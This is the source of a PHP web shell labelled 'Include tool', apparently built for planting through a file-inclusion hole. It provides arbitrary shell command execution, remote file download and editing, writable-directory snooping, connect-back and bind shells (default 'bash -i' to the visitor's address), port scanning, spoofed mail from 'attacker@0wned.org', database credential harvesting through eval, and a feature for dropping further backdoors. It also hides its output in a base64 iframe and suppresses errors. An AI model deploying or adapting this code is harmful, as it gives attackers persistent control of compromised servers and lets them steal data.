<?php

######################################################################

# we decide if we want syslogging

closelog();

######################################################################

# define variables

######################################################################

# error_reporting(E_ALL);

error_reporting(0);

# get globals even if register_globals is off

import_globals();

$safe_mode = ini_get('safe_mode');

$register_globals = ini_get('register_globals');

$magic_quotes_gpc = ini_get('magic_quotes_gpc');

$txt['en']['on']="on";

$txt['en']['off']="off";

$txt['de']['on']="an";

$txt['de']['off']="aus";

$lang="en";

if($safe_mode == 1) $SM = $txt[$lang]['on'];

else {

$SM = $txt[$lang]['off'];

# set_time_limit(9000);

}

if($register_globals == 1) $RG = $txt[$lang]['on'];

else $RG = $txt[$lang]['off'];

if($magic_quotes_gpc == 1) $MQ = $txt[$lang]['on'];

else $MQ = $txt[$lang]['off'];

# navigatable functions

$ArrFuncs = array(

"dropinc" => 0,

"filecopy" => 0,

"fileedit" => 0,

"showsource" => 0,

"snoop" => 0,

"cmdln" => 0,

"connectback" => 0,

"phpshell" => 0,

"servicecheck" => 0,

"mysqlaccess" => 0,

"mail" => 0,

"env" => 0,

"phpenv" => 0,

"phpinfo" => 0,

"dumpvars" => 0,

"debugscript" => 0,

"syslog" => 0

);

# init navigation

foreach($ArrFuncs as $key => $val) if(!isset($$key)) $$key = $val;

# set default values

$ArrDefaults = array(

"filecopy_source" => "http://...",

"filecopy_dest" => getcwd(),

"cmdcall" => "",

"editfile" => getcwd(),

"editcontent" => "",

"chdir" => ".",

"vsource" => $SCRIPT_FILENAME,

"mail_from" => "attacker@0wned.org",

"mail_to" => "",

"mail_subject" => "",

"mail_attach_source" => "http://....",

"mail_attach_appear" => "filename...",

"mail_content_type" => "image/png",

"mail_msg" => "",

"tcpports" => "21 22 23 25 80 110",

"timeout" => 5,

"miniinc_loc" => getcwd() . "/miniinc.php",

"incdbhost" => "localhost",

"cbhost" => $_SERVER['REMOTE_ADDR'],

"cbport" => 20202,

"cbtempdir" => "/tmp",

"cbcompiler" => "gcc",

"phpshellapp" => "export TERM=xterm; bash -i",

"phpshellhost" => "0.0.0.0",

"phpshellport" => "20202"

);

# init defaults

foreach($ArrDefaults as $key => $val) if(!isset($$key)) $$key = $val;

# define executable functions

$Mstr = array(

0 => "No execute functions available!",

1 => "passthru()",

2 => "system()",

3 => "backticks",

4 => "proc_open()",

5 => "exec()"

);

# clean request to avoid uri monster

$SREQ = "";

$reqdat = array();

$tmpCount=0;

foreach($REQUESTS as $key => $val){

if($tmpCount==0) $reqdat[] = $key."=".$val;

else if($val!=0 || $val!="" || $val!="0") $reqdat[] = $key."=".$val;

$tmpCount++;

}

$SREQ = implode("&", $reqdat);

$tmpCount=0;

if($SREQ=="") {

$tmp_req = array();

$tmp_qry = explode("&", $QUERY_STRING);

foreach($tmp_qry as $key => $val) {

$tmp_val = explode("=", $val);

if($tmpCount==0) $tmp_req[] = $tmp_val[0]."=".$tmp_val[1];

else if($tmp_val[1]!=0 || $tmp_val[1]!="" || $tmp_val[1]!="0") $tmp_req[] = $tmp_val[0]."=".$tmp_val[1];

$tmpCount++;

}

$SREQ = implode("&", $tmp_req);

}

if(isset($path['docroot'])) $SREQ .= "&path[docroot]=" . $path['docroot'];

# set some defaults to avaoid errors

$is_file = array();

$is_dir = array();

$is_w_dir = array();

$is_w_file = array();

$emeth=0;

if($chdir!="/" && strlen($chdir) < 2) $chdir = getcwd() . "/";

$chdir = str_replace("//", "/", $chdir);

if(substr($chdir, -1) != "/") $chdir .= "/";

##

# Setup wether to use PHP_SELF or SCRIPT_NAME

if($PHP_SELF!=$SCRIPT_NAME) $MyLoc = $PHP_SELF;

else $MyLoc = $SCRIPT_NAME;

# $MyLoc = "http://" . $_SERVER['HTTP_HOST'] . $MyLoc;

$MyLoc = "http://" . $SERVER_NAME . ":" . $SERVER_PORT . $MyLoc;

# This is a list of internal inc.inc vars that do not get displayed

# inside the dumpvars function (poss for a debug func later?)

$DebugArr = array(

'ARHGFDGFGASDFG',

'safe_mode',

'register_globals',

'magic_quotes_gpc',

'txt',

'lang',

'SM',

'RG',

'MQ',

'ArrFuncs',

'val',

'key',

'env',

'phpenv',

'phpinfo',

'debugscript',

'filecopy',

'fileedit',

'showsource',

'snoop',

'mail',

'cmdln',

'syslog',

'servicecheck',

'dropinc',

'mysqlaccess',

'ArrDefaults',

'filecopy_source',

'filecopy_dest',

'cmdcall',

'editfile',

'editcontent',

'chdir',

'vsource',

'mail_from',

'mail_to',

'mail_subject',

'mail_attach_source',

'mail_attach_appear',

'mail_content_type',

'mail_msg',

'tcpports',

'timeout',

'miniinc_loc',

'incdbhost',

'Mstr',

'SREQ',

'reqdat',

'tmpCount',

'is_file',

'is_dir',

'is_w_dir',

'is_w_file',

'emeth',

'MyLoc',

'dumpvarsare',

'DebugArr',

'cbtempdir',

'cbcompiler',

'cbhost',

'cbport',

'phpshelltype',

'phpshellapp',

'phpshellhost',

'phpshellport'

);

# activate syslog entry

if($syslog == 1)

{

# openlog("# XSS $SCRIPT_URI #", LOG_PID | LOG_PERROR, LOG_LOCAL0);

# drop_syslog_warning("Q: $QUERY_STRING :: R: $REMOTE_ADDR ($HTTP_USER_AGENT)");

}

###############################################################################

#

# start include output

#

###############################################################################

$strOutput = "";

$strOutput .= "<html><body bgcolor='#ffffff'>

<table border=3 bgcolor=#aaaaaa width='100%'><tr><td><font color='#000000'>

<center>

<h2>Include tool</h2>

PHP Version: " . phpversion() . " |

safe_mode: $SM |

register_globals: $RG |

magic_quotes_gpc: $MQ |

syslogging: ";

if($syslog == 1) $strOutput .= $txt[$lang]['off']; else $strOutput .= $txt[$lang]['on'];

$strOutput .= "

<br><br>

</center>

<font color='#000000'>";

foreach($ArrFuncs as $key => $val) $strOutput .= make_switch($key);

###############################################################################

# test cmd shell environment

###############################################################################

if($env == 1) {

$strOutput .= "

<table border=1><tr><td colspan=2><h3>cmd infos</h3></td></tr>

<tr><td>test using pwd</td><td>"; $emeth =& test_cmd_shell(); $strOutput .= "</td></tr>";

if($emeth==0) {

$strOutput .= "<tr><td colspan=2>$Mstr[$emeth]</td></tr>";

} else {

$strOutput .= "<tr><td>exec method</td><td>$Mstr[$emeth]</td><tr>

<tr><td>uname -a</td><td>" . Mexec("uname -a", $emeth) . "</td><tr>

<tr><td>id</td><td>" . Mexec("id", $emeth) . "</td><tr>

</table>";

}

}

###############################################################################

# test php environment

###############################################################################

if($phpenv == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>php short infos</h3></td></tr>

<tr><td colspan=2>posix infos</td><tr>";

if(function_exists('posix_uname')) {

$posix_uname = posix_uname();

while (list($info, $value) = each ($posix_uname)) {

$strOutput .= "<tr><td>$info</td><td>$value</td></tr>";

}

} else {

$strOutput .= "posix_uname not available";

}

$strOutput .= "<tr><td>current script user</td><td>" . get_current_user() . "</td><tr>";

if(function_exists('posix_getuid')) $strOutput .= "<tr><td>getuid</td><td>" . posix_getuid() . "</td><tr>";

else $strOutput .= "posix_getuid not available";

if(function_exists('posix_geteuid')) $strOutput .= "<tr><td>geteuid</td><td>" . posix_geteuid() . "</td><tr>";

else $strOutput .= "posix_geteuid not available";

if(function_exists('posix_getgid')) $strOutput .= "<tr><td>getgid</td><td>" . posix_getgid() . "</td><tr>";

else $strOutput .= "posix_getgid not available";

$strOutput .= "</table>";

}

###############################################################################

# dump variables

###############################################################################

if($dumpvars == 1) {

$strOutput .= "<table border=1><tr><td><h3>dump variables</h3></td></tr>

<tr><td>" . dd("GLOBALS") . "</td></tr>

</table>";

}

###############################################################################

# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!

###############################################################################

if($debugscript == 1) { ?>

<table border=1><tr><td><h3>debug script</h3></td></tr>

<tr><td>

<? ddb("DebugArr"); ?>

</td></tr>

</table>

<? }

###############################################################################

# copy file

###############################################################################

if($filecopy == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>copy file</h3></td></tr>

<form method='post' target='_parent' action=" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>source</td><td><input type=text name='filecopy_source' value='" . $filecopy_source . "'></td></tr>

<tr><td>destination</td><td><input type=text name='filecopy_dest' value='" . $filecopy_dest . "'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>" . copy_file($filecopy_source,$filecopy_dest) . "</td></tr>

</form>

</table>";

}

###############################################################################

# edit file

###############################################################################

if($fileedit == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>edit file</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>file</td><td><input type=text name='editfile' value='" . $editfile . "'></td></tr>

<tr><td>edit</td><td><input type='checkbox' name='edit' value='1'></td></tr>

<tr><td>content</td><td><textarea name='editcontent' cols='50' rows='10'>";

if($edit==1 | $editfile!=$ArrDefaults['editfile'])

$strOutput .= show_file($editfile);

$strOutput .= "</textarea></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>";

if($edit==1 | $editfile!=$ArrDefaults['editfile'])

$strOutput .= edit_file($editcontent,$editfile,$edit);

$strOutput .= "</td></tr>

</table>

</form>";

}

###############################################################################

# execute cmd shell NEEDS MODIFINY FOR B64 STATUS!!

###############################################################################

if($cmdln == 1) {

$emeth = test_cmd_shell();

$strOutput .= "<table border=1><tr><td colspan=2><h3>execute cmd execution: " . $cmdcall . "</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>cmd line</td><td><input type=text name='cmdcall' value='" . $cmdcall . "'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td>test method with 'pwd'</td><td>" . $Mstr[$emeth] . "</td></tr>

<tr><td colspan=2>";

if($emeth < 3) {

$strOutput .= "The output of this command will be somewhere on the page!";

Mexec($cmdcall, $emeth);

} else {

$strOutput .= Mexec($cmdcall, $emeth);

}

$strOutput .= "</td></tr>

</form>

</table>";

}

###############################################################################

# sending mime mail

###############################################################################

if($mail == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>sending mime mail with attachment</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>from</td><td><input type=text name='mail_from' value='" . $mail_from . "'></td></tr>

<tr><td>to</td><td><input type=text name='mail_to' value='" . $mail_to . "'></td></tr>

<tr><td>subject</td><td><input type=text name='mail_subject' value='" . $mail_subject . "'></td></tr>

<tr><td>message</td><td><textarea name='mail_msg' cols='50' rows='10'>" . $mail_msg . "</textarea></td></tr>

<tr><td>attach file</td><td><input type=text name='mail_attach_source' value='" .$mail_attach_source . "'></td></tr>

<tr><td>attach content type</td><td><input type=text name='mail_content_type' value='" . $mail_content_type . "'></td></tr>

<tr><td>file to appear</td><td><input type=text name='mail_attach_appear' value='" . $mail_attach_appear . "'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>" . drop_mime_mail($mail_from,$mail_to,$mail_subject,$mail_attach_source,$mail_content_type,$mail_attach_appear,$mail_msg) . "</td></tr>

</form>

</table>";

}

###############################################################################

# drop mini inc handling

###############################################################################

if($dropinc == 1) {

if($loc!="") $miniinc_loc = $loc;

$strOutput .= "<table border=1><tr><td colspan=2><h3>drop mini inc hole</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>source</td><td><input type=text name='loc' value='" . $miniinc_loc . "'></td></tr>

<tr><td>drop</td><td><input type='checkbox' name='minisave' value='1'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2><pre>";

if($minisave==1) $strOutput .= dropminiinc($miniinc_loc);

$strOutput .= "</pre></td></tr>

</form>

</table>";

}

###############################################################################

# connect C back shell handling

###############################################################################

if($connectback == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>connect back shell</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>temp dir.</td><td><input type=text name='cbtempdir' value='" . $cbtempdir . "'></td></tr>

<tr><td>compiler</td><td><input type=text name='cbcompiler' value='" . $cbcompiler . "'></td></tr>

<tr><td>host</td><td><input type=text name='cbhost' value='" . $cbhost . "'></td></tr>

<tr><td>tcp port</td><td><input type=text name='cbport' value='" . $cbport . "'></td></tr>

<tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>";

if($run == 1 && $cbtempdir && $cbcompiler && $cbhost && $cbport) $strOutput .= connect_back($cbtempdir, $cbcompiler, $cbhost, $cbport);

$strOutput .= "</td></tr></form></table>";

}

###############################################################################

# PHP shell handling

###############################################################################

if($phpshell == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>PHP shell</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>type</td><td><select name='phpshelltype'><option value='cb'>Connect Back</option><option value='pb'>Port Binding</option></select></td></tr>

<tr><td>shell app</td><td><input type=text name='phpshellapp' value='" . $phpshellapp . "'></td></tr>

<tr><td>host</td><td><input type=text name='phpshellhost' value='" . $phpshellhost . "'></td></tr>

<tr><td>tcp port</td><td><input type=text name='phpshellport' value='" . $phpshellport . "'></td></tr>

<tr><td>execute</td><td><input type='checkbox' name='run' value='1'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>";

if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB_Shell($phpshelltype, $phpshellapp, $phpshellport, $phpshellhost);

$strOutput .= "</td></tr></form></table>";

}

###############################################################################

# snooping

###############################################################################

if($snoop == 1) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>file system snooping: " . $chdir . "</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>path</td><td><input type=text name='chdir' value='" . $chdir . "'></td></tr>

<tr><td colspan=2>" . snoopy($chdir) . "</td></tr>

</form>

</table>";

}

###############################################################################

# show highlited source

###############################################################################

if(($showsource == 1) | ($vsource!=$ArrDefaults['vsource'])) {

$strOutput .= "<table border=1><tr><td colspan=2><h3>show source: " . $vsource . "</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>path</td><td><input type=text name='vsource' value='" . $vsource . "'></td></tr>

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2>" . highlight_file($vsource, 1) . "</td></tr>

</form>

</table>";

}

###############################################################################

# service check

###############################################################################

if($servicecheck == 1) {

if($servhost!="") $host = $servhost;

else $host = "localhost";

$strOutput .= "<table border=1><tr><td colspan=2><h3>simple service check</h3></td></tr>

<form method='post' target='_parent' action='" . $MyLoc . "?" . $SREQ . "&'>

<tr><td>host(s)</td><td><input type=text name='servhost' value='" . $host . "'></td></tr>

<tr><td>tcp port(s)</td><td><input type=text name='tcpports' value='" . $tcpports . "'></td></tr>

<tr><td>timeout</td><td><input type=text name='timeout' value='" . $timeout . "'></td></tr>

<!-- tr><td>udp port(s)</td><td><input type=text name='udpports' value='<?=$sports?>'></td></tr -->

<tr><td></td><td><input type=submit></td></tr>

<tr><td colspan=2><pre>";

$hosts = explode(" ", $host);

$port = explode(" ",$tcpports);

$values = count($port);

$numhosts = count($hosts);

if($values == 1 && $port[0] != "") $strOutput .= "\nChecking 1 port..\n";

else if($values > 1) $strOutput .= "Checking $values ports..\n";

else $strOutput .= "No ports specified!!\n";

if($numhosts > 1) $strOutput .= "On $numhosts hosts..\n";

else if($numhosts == 1) $strOutput .= "On 1 host..\n";

else $strOutput .= "No hosts specified!!\n";

if($numhosts >= 1) {

for($hcount=0; $hcount < $numhosts; $hcount++) {

$tmphost = $hosts[$hcount];

$strOutput .= "\nTesting $tmphost..\n";

if(($values == 1 && $port[0] != "") | $values > 1) {

for ($cont=0; $cont < $values; $cont++) {

@$sock[$cont] = fsockopen($tmphost, $port[$cont], $oi, $oi2, $timeout);

$service = getservbyport($port[$cont],"tcp");

@$get = fgets($sock[$cont]);

if(isset($get)) $strOutput .= "Port: $port[$cont] ($service) - Banner: $get \n";

flush();

}

}

}

}

$strOutput .= "</pre></td></tr>

</form>

</table>";

}

###############################################################################

# show phpinfo

###############################################################################

if($phpinfo == 1){

phpinfo();

}

######################################################################

# db stuff

######################################################################

if($mysqlaccess == 1) {

$strOutput .= "<table border=1>

<form method='post' target='_parent' action='$MyLoc?$SREQ&'>

<tr><td>db host</td><td><input type='text' name='incdbhost' size='10' value='$incdbhost'/></td></tr>

<tr><td>user</td><td><input type='text' name='incdbuser' size='10' value='$incdbuser'/></td></tr>

<tr><td>pass</td><td><input type='text' name='incdbpass' size='10' value='$incdbpass'/></td></tr>

<tr><td>name</td><td><input type='text' name='incdbname' size='10' value='$incdbname'/></td></tr>

<tr><td>table</td><td><input type='text' name='incdbtable' size='10' value='$incdbtable'/></td></td></tr>

<tr><td>sql query</td><td><input type='text' name='incdbsql' size='50' value='$incdbsql'/></td></td></tr>

<tr><td>dumpfile</td><td><input type='text' name='incdbfile' size='10' value='$incdbfile'/></td></td></tr>

<!-- tr><td>Variables?</td><td><input type='checkbox' name='incdbvar'<? if($incdbvar!='') echo ' checked '; /></td></tr -->

<tr><td colspan=2><input type='submit' name='submit' value='Query'/></td></tr>

</table>";

}

if($incdbhost!="" && $incdbuser!="") {

if($incdbvar!="") $dbh = $incdbhost;

else $dbH = $incdbhost;

$dbu = $incdbuser;

$dbp = $incdbpass;

if($incdbsql!="") $dbs = $incdbsql;

if($incdbname!="") $dbn = $incdbname;

if($incdbtable!="") $dbt = $incdbtable;

if($incdbfile!="") $dumpfile = $incdbfile;

}

if(isset($dbh)) {

$strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr>";

eval("\$Gdbhost = \"\$$dbh\";");

eval("\$Gdbuser = \"\$$dbu\";");

eval("\$Gdbpass = \"\$$dbp\";");

eval("\$Gdbname = \"\$$dbn\";");

$strOutput .= "<tr><td>";

if($dbn=="") {

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass .

"</td></tr><tr><td>" .

display_dbs($Gdbhost, $Gdbuser, $Gdbpass);

} else if(isset($dbs)) {

$Gdbsql = $dbs;

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname."<br/>sql=".$Gdbsql .

"</td></tr><tr><td>";

if(isset($dumpfile)) {

$strOutput .= dump_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql, $dumpfile);

} else {

$strOutput .= display_query($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbsql);

}

} else if(isset($dbt)) {

$Gdbtabl = $dbt;

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl;

if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile;

$strOutput .= "</td></tr><tr><td>";

if(isset($dumpfile)) {

$strOutput .= dump_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl, $dumpfile);

} else {

$strOutput .= display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl);

}

} else {

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname .

"</td></tr><tr><td>" .

display_tables($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname);

}

$strOutput .= "</pre></td></tr></table><br/>";

}

if(isset($dbH)) {

$strOutput .= "<table border=1><tr><td><b>mysql access</b></td></tr><tr><td>";

if($dbn=="") {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp.

"</td></tr><tr><td>".

display_dbs($dbH, $dbu, $dbp);

} else if(isset($dbs)) {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn."<br/>sql=".$dbs.

"</td></tr><tr><td>";

if(isset($dumpfile)) {

$strOutput .= dump_query($dbH, $dbu, $dbp, $dbn, $dbs, $dumpfile);

} else {

$strOutput .= display_query($dbH, $dbu, $dbp, $dbn, $dbs);

}

} else if(isset($dbt)) {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt;

if($dumpfile!="") $strOutput .= " dumpfile=" .$dumpfile;

$strOutput .= "</td></tr><tr><td> ";

if(isset($dumpfile)) {

$strOutput .= dump_rows($dbH, $dbu, $dbp, $dbn, $dbt, $dumpfile);

} else {

$strOutput .= display_rows($dbH, $dbu, $dbp, $dbn, $dbt);

}

} else {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn .

"</td></tr><tr><td>" .

display_tables($dbH, $dbu, $dbp, $dbn);

}

$strOutput .= "</pre></td></tr></table><br/>";

}

if(isset($Odbh)) {

$strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr>";

eval("\$Gdbhost = \"\$$Odbh\";");

eval("\$Gdbuser = \"\$$dbu\";");

eval("\$Gdbpass = \"\$$dbp\";");

eval("\$Gdbname = \"\$$dbn\";");

$strOutput .= "<tr><td>";

if(isset($dbt)) {

$Gdbtabl = $dbt;

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass." name=".$Gdbname." table=".$Gdbtabl .

"</td></tr><tr><td>" .

display_rows($Gdbhost, $Gdbuser, $Gdbpass, $Gdbname, $Gdbtabl);

} else {

$strOutput .= "host=".$Gdbhost." user=".$Gdbuser." pass=".$Gdbpass .

"</td></tr><tr><td> " .

Odisplay_tables($Gdbhost, $Gdbuser, $Gdbpass);

}

$strOutput .= "</pre></td></tr></table><br/>";

}

if(isset($OdbH)) {

$strOutput .= "<table border=1><tr><td><b>odbc access</b></td></tr><tr><td>";

if(isset($dbt)) {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp." name=".$dbn." table=".$dbt .

"</td></tr><tr><td> " .

Odisplay_rows($OdbH, $dbu, $dbp, $dbn, $dbt);

} else {

$strOutput .= "host=".$dbH." user=".$dbu." pass=".$dbp .

"</td></tr><tr><td> " .

Odisplay_tables($OdbH, $dbu, $dbp);

}

$strOutput .= "</pre></td></tr></table><br/>";

}

$strOutput .= "</font></td></tr></table>";

$strOutputB64 = chunk_split(base64_encode($strOutput));

echo "</div></div></div></div></div></div></div></div></div></div>\n";

echo '<iframe width="100%" height="100%" style="border:0; position: absolute; left: 0px; top: 0px;" src="data:text/html;base64,' . $strOutputB64 .'">';

######################################################################

#

# functions

#

######################################################################

# make globals avail

function import_globals()

{

global $HTTP_SERVER_VARS;

global $REMOTE_ADDR;

global $PHP_SELF;

global $REQUESTS;

global $SCRIPT_FILENAME;

global $QUERY_STRING;

global $SCRIPT_URI;

global $SERVER_NAME;

$_igr = ini_get('register_globals');

if ($_igr == '' OR $_igr == 'Off' OR $_igr == 0) import_request_variables('GPC');

if (phpversion() <= '4.1.0') {

$REQUESTS = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS);

} else {

$REQUESTS = $_REQUEST;

}

if($_SERVER['PHP_SELF']=="") {

$SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME'];

$SCRIPT_URI = $HTTP_SERVER_VARS['SCRIPT_URI'];

$REMOTE_ADDR = $HTTP_SERVER_VARS['REMOTE_ADDR'];

$QUERY_STRING = $HTTP_SERVER_VARS['QUERY_STRING'];

$PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF'];

$SCRIPT_FILENAME = $HTTP_SERVER_VARS['SCRIPT_FILENAME'];

} else {

$SERVER_NAME = $_SERVER['SERVER_NAME'];

$SCRIPT_URI = $_SERVER['SCRIPT_URI'];

$REMOTE_ADDR = $_SERVER['REMOTE_ADDR'];

$QUERY_STRING = $_SERVER['QUERY_STRING'];

$PHP_SELF = $_SERVER['PHP_SELF'];

$SCRIPT_FILENAME = $_SERVER['SCRIPT_FILENAME'];

}

}

function dd($v) {

global $DebugArr;

$rv = "<blockquote>\n";

$q="while(list(\$key,\$val) = each(\$$v)) {".

' if(array_search($key, $DebugArr)) {'.

' } else if((is_array($val)) && ($key!="GLOBALS")) {'.

' echo "<b>$key</b>>><br/>";'.

' @dd($v."[".$key."]");'.

' } else if($key=="GLOBALS") {'.

' } else echo "<b>$key</b>=>$val<br/>";'.

'};';

eval($q);

echo "</blockquote>\n";

}

function ddb($v) {

echo "<blockquote>\n";

$q="while(list(\$key,\$val) = each(\$$v)) {".

' if((is_array($val)) && ($key!="GLOBALS")) {'.

' echo "<b>$key</b>>><br/>";'.

' @dd($v."[".$key."]");'.

' } else if($key=="GLOBALS") {'.

' } else echo "<b>$key</b>=>$val<br/>";'.

'};';

eval($q);

echo "</blockquote>\n";

}

######################################################################

# cmd shell functions

######################################################################

# test what cmd is working

function test_cmd_shell(){

if(strlen(Mexec("pwd", 5))>11) $var = 5;

elseif(strlen(Mexec("pwd", 4))>11) $var = 4;

elseif(strlen(Mexec("pwd", 3))>11) $var = 3;

elseif(strlen(Mexec("pwd", 2))>0) $var = 2;

elseif(strlen(Mexec("pwd", 1))>0) $var = 1;

else $var = 0;

return $var;

}

# function for executing cmds

function Mexec($Mcmd, $type) {

if($Mcmd != ""){

$dspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("pipe", "r")

);

$output = "";

switch($type) {

case 5:

$output .= "<pre>";

$lastline = exec($Mcmd, $arrOutput);

foreach($arrOutput as $val) {

$output .= $val . "\n";

}

$output .= "</pre>";

break;

case 4:

$proc = proc_open($Mcmd, $dspec, $pipes);

if (is_resource($proc)) {

$output .= "<pre>";

fclose($pipes[0]);

while(!feof($pipes[1])) {

$tmp = fgets($pipes[1], 1024);

$output .= $tmp;

}

$output .= "</pre>";

}

break;

case 3;

$output .= "<pre>";

$output .= `$Mcmd`;

$output .= "</pre>";

break;

case 2;

print "<pre>\n";

$output = system($Mcmd);

print "</pre>\n";

break;

case 1;

print "<pre>\n";

$output = passthru($Mcmd);

print "</pre>\n";

break;

case 0;

default;

$output = "There are no execute functions available!";

break;

}

return $output;

}

}

function drop_mime_mail($from,$to,$subject,$attach_source,$content_type,$attach_appear,$msg) {

$msgerror = "";

if($msg == "") $msgerror = "please enter a message";

elseif($subject == "") $msgerror = "please enter a subject";

else {

$stlf = md5(uniqid(time()));

$attach = "";

$fp = fopen($attach_source, "rb");

if($fp) while(!feof($fp)) { $attach = $attach . fread($fp, 1024); }

$header = "From: $from\n";

$header .= "MIME-Version: 1.0\n";

$header .= "Content-Type: multipart/mixed; boundary=$stlf\n\n";

$header .= "This is a multi-part message in MIME format\n";

$header .= "--$stlf\n";

$header .= "Content-Type: text/plain\n";

$header .= "Content-Transfer-Encoding: 8bit\n\n";

$header .= "$msg\n";

$header .= "--$stlf\n";

$header .= "Content-Type: $content_type; name=$attach_appear\n";

$header .= "Content-Transfer-Encoding: base64\n";

$header .= "Content-Disposition: attachment; filename=$attach_appear\n\n";

$header .= chunk_split(base64_encode($attach));

$header .= "\n";

$header .= "--$stlf--";

mail($to,$subject,"",$header);

$msgerror = "send done - show header: <br>\n<pre>$header</pre> ";

}

return $msgerror;

}

######################################################################

# system browsing

######################################################################

function make_switch($val){

global $txt;

global $lang;

global $SCRIPT_NAME,$SREQ,$_REQUEST,$MyLoc,$_SERVER;

if(isset($_REQUEST[$val]) AND $_REQUEST[$val] == 1) { $test = 0; $col = "green"; $sw = $txt[$lang]['off']; }

else { $test = 1; $col = "black"; $sw = $txt[$lang]['on']; }

return " <font color=$col>$val</font> <a target=\"_parent\" href=\"".$MyLoc."?".$SREQ."&".$val."=".$test."\">[ ". $sw." ]</a> ";

}

function drop_syslog_warning($msg) {

global $syslog;

# if($syslog == 1) syslog(LOG_WARNING,$msg);

}

######################################################################

# file functions

######################################################################

function copy_file($source,$dest) {

$dataout = "";

if($source == "") $dataout .= "enter source<br>\n";

if($dest != "") {

ini_set("user_agent","m0ins downloader");

if(!copy($source, $dest)) $dataout . "failed to copy ...<br>\n";

if(file_exists($dest)) $dataout .= highlight_file($dest, 1);

} else {

$dataout .= "enter destination";

}

}

function edit_file($cont,$dest,$do) {

$dataout = "";

global $magic_quotes_gpc;

if(file_exists($dest)) {

if($do == 1){

$fh = fopen($dest, "w");

if(!$fh) {

$dataout .= "unable to open <b>$dest</b>.\n";

} else {

# $cont = str_replace("&gt;", ">", str_replace("&lt;", "<", $cont));

if($magic_quotes_gpc == 1) $cont = stripslashes($cont);

$write = fwrite($fh, $cont);

fclose($fh);

}

}

$dataout .= highlight_file($dest, 1);

} else {

$dataout .= "unable to open <b>$dest</b>.\n";

}

return $dataout;

}

function show_file($source) {

$dataout = "";

if(file_exists($source)) {

$fh = fopen($source, "r");

if(!$fh) {

$dataout .= "unable to open <b>$source</b>.\n";

} else {

$read = fread($fh, filesize($source));

fclose($fh);

if(!empty($read)) $read = str_replace(">", "&gt;", str_replace("<", "&lt;", $read));

$dataout .= $read;

}

} else {

$dataout .= "unable to open <b>$source</b>.\n";

}

return $dataout;

}

function snoopy($chdir){

$tmpOut = "";

global $is_file,$is_dir,$is_w_dir,$is_w_file;

$fh = opendir("$chdir");

if($fh!="") {

while (false !== ($filename = readdir($fh)) ) {

$FN = $chdir."/".$filename;

if(@is_file($FN)) $is_file[] = $filename;

if(@is_dir($FN)) $is_dir[] = $filename;

if(@is_writable($FN) && @is_dir($filename)) $is_w_dir[] = $filename;

if(@is_writable($FN) && @is_file($filename)) $is_w_file[] = $filename;

}

$tmpOut .= "<table border=1 cellspacing=1 cellpadding=0><tr>";

$tmpOut .= echo_files($is_file, "all files");

$tmpOut .= echo_files($is_dir, "only dirs");

$tmpOut .= echo_files($is_w_dir, "writable dirs");

$tmpOut .= echo_files($is_w_file,"writable files");

$tmpOut .= "</tr></table>";

} else {

$tmpOut .= "Permission denied.";

}

closedir($fh);

return $tmpOut;

}

